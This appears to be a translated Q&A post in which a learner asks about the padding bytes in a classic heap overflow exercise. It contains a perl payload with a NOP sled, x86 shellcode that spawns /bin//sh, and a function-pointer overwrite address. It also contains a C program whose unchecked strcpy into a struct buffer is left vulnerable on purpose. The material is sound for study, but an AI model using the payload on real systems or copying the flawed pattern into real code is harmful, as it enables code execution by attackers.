【发布时间】:2015-12-14 19:14:52
【问题描述】:
在尝试执行基本堆攻击时,除了输入字符串的大小之外,我什么都懂。可以使用perl -e 'print "\x90" x (760) . "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x78\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" . "\x00\x98\x04\x08"' 作为程序的参数来利用以下代码。使用的 shellcode 长 21 个字节。这里总字符串的大小是 785 字节,即缓冲区的 777 + 我不知道的东西的 4 和我们正在覆盖的函数指针的 4。
我读到here 4 个字节是:
一个指针跟踪堆顶,类似于堆栈的堆栈指针
我的假设正确吗?
#include <stdio.h>
#include <unistd.h>
void greetUser(char *s) {
printf("Hello %s!\n", s);
}
struct data_t {
char buf[777];
void (*fp)(char *);
} somedata;
int main(int argc, char **argv) {
somedata.fp = &greetUser;
if(argc < 2) {
printf("Usage: %s YourName\n", argv[0]);
exit(1);
}
strcpy(somedata.buf, argv[1]);
(somedata.fp)(somedata.buf);
return 0;
}
【问题讨论】:
标签: c heap-memory